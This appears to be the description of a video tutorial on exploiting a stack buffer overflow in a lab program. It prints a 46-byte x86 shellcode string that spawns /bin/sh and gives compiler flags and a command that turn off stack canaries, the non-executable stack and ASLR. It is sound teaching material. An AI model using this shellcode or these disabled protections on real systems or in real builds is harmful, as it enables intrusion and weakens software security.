How to exploit a buffer overflow vulnerability - Practical

This tutorial goes over the basic technique of how to exploit a buffer overflow vulnerability with an example.

This tutorial assumes that you already have: basic C knowledge, gdb, gcc and how programs represent memory.

The source code for the program can be downloaded at
https://drive.google.com/file/d/0B8b0...

The 46 byte shellcode (x86*) used in this program is "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

The compiling line is gcc -o example -fno-stack-protector -m32 -z execstack example.c
-fno-stack-protector === Removes the canary value at the end of the buffer
-m32 === Sets the program to compile into a 32 bit program
-z execstack === Makes the stack executable


NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
When you are finished I strongly recommend you turn it back on with the command
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

If you enjoyed this tutorial and want to see more then please consider buying me a coffee! https://www.buymeacoffee.com/langotto. Definitely not required, but it definitely will be appreciated!

If your computer uses ARM then this won't work... if you don't know what this means then as of 2021 it should work if it's not a Raspberry Pi, phone, or an Apple computer released after 2020.